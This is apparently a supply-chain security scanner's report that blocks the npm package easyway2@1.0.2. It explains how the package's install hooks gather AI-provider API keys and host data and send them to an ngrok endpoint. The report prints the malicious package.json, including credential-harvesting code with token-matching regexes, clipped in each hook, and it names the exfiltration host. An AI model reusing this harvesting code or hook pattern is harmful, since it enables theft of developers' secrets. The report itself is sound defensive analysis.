Loading npm security reports…

easyway2@1.0.2: Malicious npm security report (Block) | LPM Firewall

registry / easyway2 / 1.0.2

easyway2@1.0.2

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Installation triggers inline Node code from `package.json`. It collects environment-held AI credentials and host metadata, then exfiltrates them over HTTPS.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Installing the package with npm lifecycle scripts enabled.

Impact

Exposes AI-provider tokens and identifying host/user metadata to an attacker-controlled endpoint.

Mechanism

install-time environment credential harvesting and HTTPS exfiltration

Attack narrative

The package has no functional source files; its manifest is the payload. Its `preinstall`, `install`, and `postinstall` scripts execute inline Node code that scans all environment variables for named AI credentials and values matching OpenAI, Anthropic, Google, and Hugging Face token formats. The script serializes those values with host metadata and sends them to an ngrok endpoint, while suppressing errors so the install can appear successful.

Rationale

Direct inspection confirms concrete install-time credential exfiltration, not merely suspicious primitives. The package should be blocked.

Evidence

package.json

Network endpoints1

crabbing-thong-overhung.ngrok-free.dev

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` defines `preinstall`, `install`, and `postinstall` hooks.
Each install hook enumerates `process.env` for AI-provider credential variables and token-shaped values.
The hooks POST collected host, user, platform, and key data to `crabbing-thong-overhung.ngrok-free.dev`.
`|| true` and an empty request error handler suppress execution failures.

Evidence against

Only `package.json` exists; there are no package entrypoints or dependencies.
No source evidence of file deletion, persistence, or AI-agent configuration writes.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

4 flagged

package.jsonView file

Lines 1-16json

2 "name": "easyway2",

3 "version": "1.0.2",

4 "scripts": {

5 "prepublishOnly": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk-[a-zA-Z0-9]{20}T3BlbkFJ[a-zA-Z0-9]{20}/,anthropic:/sk-ant-api03-[a-zA-Z0-9\\-]{95}/,google:/AIza[a-zA-Z0-9_-]{35}/,hf:/hf_[a-zA-Z0-9]{34}/};for(const[k,v]of Object.entries(process.env)){if(/OPENAI|ANTHROPIC|GOOGLE_API|GEMINI|HF_TOKEN|HUGGINGFACE|AZURE_OPENAI_API/.test(k)){d.ai_keys[k]=v;}else if(typeof v==='string'){for(const[p,r]of Object.entries(pt)){if(r.test(v)){d.ai_keys[p+'_'+k]=v;break ...

6 "prepare": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk-[a-zA-Z0-9]{20}T3BlbkFJ[a-zA-Z0-9]{20}/,anthropic:/sk-ant-api03-[a-zA-Z0-9\\-]{95}/,google:/AIza[a-zA-Z0-9_-]{35}/,hf:/hf_[a-zA-Z0-9]{34}/};for(const[k,v]of Object.entries(process.env)){if(/OPENAI|ANTHROPIC|GOOGLE_API|GEMINI|HF_TOKEN|HUGGINGFACE|AZURE_OPENAI_API/.test(k)){d.ai_keys[k]=v;}else if(typeof v==='string'){for(const[p,r]of Object.entries(pt)){if(r.test(v)){d.ai_keys[p+'_'+k]=v;break;}}}}fu ...

7 "Makefile": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk-[a-zA-Z0-9]{20}T3BlbkFJ[a-zA-Z0-9]{20}/,anthropic:/sk-ant-api03-[a-zA-Z0-9\\-]{95}/,google:/AIza[a-zA-Z0-9_-]{35}/,hf:/hf_[a-zA-Z0-9]{34}/};for(const[k,v]of Object.entries(process.env)){if(/OPENAI|ANTHROPIC|GOOGLE_API|GEMINI|HF_TOKEN|HUGGINGFACE|AZURE_OPENAI_API/.test(k)){d.ai_keys[k]=v;}else if(typeof v==='string'){for(const[p,r]of Object.entries(pt)){if(r.test(v)){d.ai_keys[p+'_'+k]=v;break;}}}}f ...

8 "postpack": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk-[a-zA-Z0-9]{20}T3BlbkFJ[a-zA-Z0-9]{20}/,anthropic:/sk-ant-api03-[a-zA-Z0-9\\-]{95}/,google:/AIza[a-zA-Z0-9_-]{35}/,hf:/hf_[a-zA-Z0-9]{34}/};for(const[k,v]of Object.entries(process.env)){if(/OPENAI|ANTHROPIC|GOOGLE_API|GEMINI|HF_TOKEN|HUGGINGFACE|AZURE_OPENAI_API/.test(k)){d.ai_keys[k]=v;}else if(typeof v==='string'){for(const[p,r]of Object.entries(pt)){if(r.test(v)){d.ai_keys[p+'_'+k]=v;break;}}}}f ...

9 "preinstall": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk-[a-zA-Z0-9]{20}T3BlbkFJ[a-zA-Z0-9]{20}/,anthropic:/sk-ant-api03-[a-zA-Z0-9\\-]{95}/,google:/AIza[a-zA-Z0-9_-]{35}/,hf:/hf_[a-zA-Z0-9]{34}/};for(const[k,v]of Object.entries(process.env)){if(/OPENAI|ANTHROPIC|GOOGLE_API|GEMINI|HF_TOKEN|HUGGINGFACE|AZURE_OPENAI_API/.test(k)){d.ai_keys[k]=v;}else if(typeof v==='string'){for(const[p,r]of Object.entries(pt)){if(r.test(v)){d.ai_keys[p+'_'+k]=v;break;}}} ...

10 "install": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk-[a-zA-Z0-9]{20}T3BlbkFJ[a-zA-Z0-9]{20}/,anthropic:/sk-ant-api03-[a-zA-Z0-9\\-]{95}/,google:/AIza[a-zA-Z0-9_-]{35}/,hf:/hf_[a-zA-Z0-9]{34}/};for(const[k,v]of Object.entries(process.env)){if(/OPENAI|ANTHROPIC|GOOGLE_API|GEMINI|HF_TOKEN|HUGGINGFACE|AZURE_OPENAI_API/.test(k)){d.ai_keys[k]=v;}else if(typeof v==='string'){for(const[p,r]of Object.entries(pt)){if(r.test(v)){d.ai_keys[p+'_'+k]=v;break;}}}}fu ...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg · L9

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg · L10

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L9

11 "postinstall": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk-[a-zA-Z0-9]{20}T3BlbkFJ[a-zA-Z0-9]{20}/,anthropic:/sk-ant-api03-[a-zA-Z0-9\\-]{95}/,google:/AIza[a-zA-Z0-9_-]{35}/,hf:/hf_[a-zA-Z0-9]{34}/};for(const[k,v]of Object.entries(process.env)){if(/OPENAI|ANTHROPIC|GOOGLE_API|GEMINI|HF_TOKEN|HUGGINGFACE|AZURE_OPENAI_API/.test(k)){d.ai_keys[k]=v;}else if(typeof v==='string'){for(const[p,r]of Object.entries(pt)){if(r.test(v)){d.ai_keys[p+'_'+k]=v;break;}} ...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg · L10

12 }

13}

Long lines were clipped for display.

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.preinstall = node -e "const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.install = node -e "const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

Findings

3 Critical1 High3 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

LowNon Install Lifecycle Scripts

LowScripts Present

LowNo License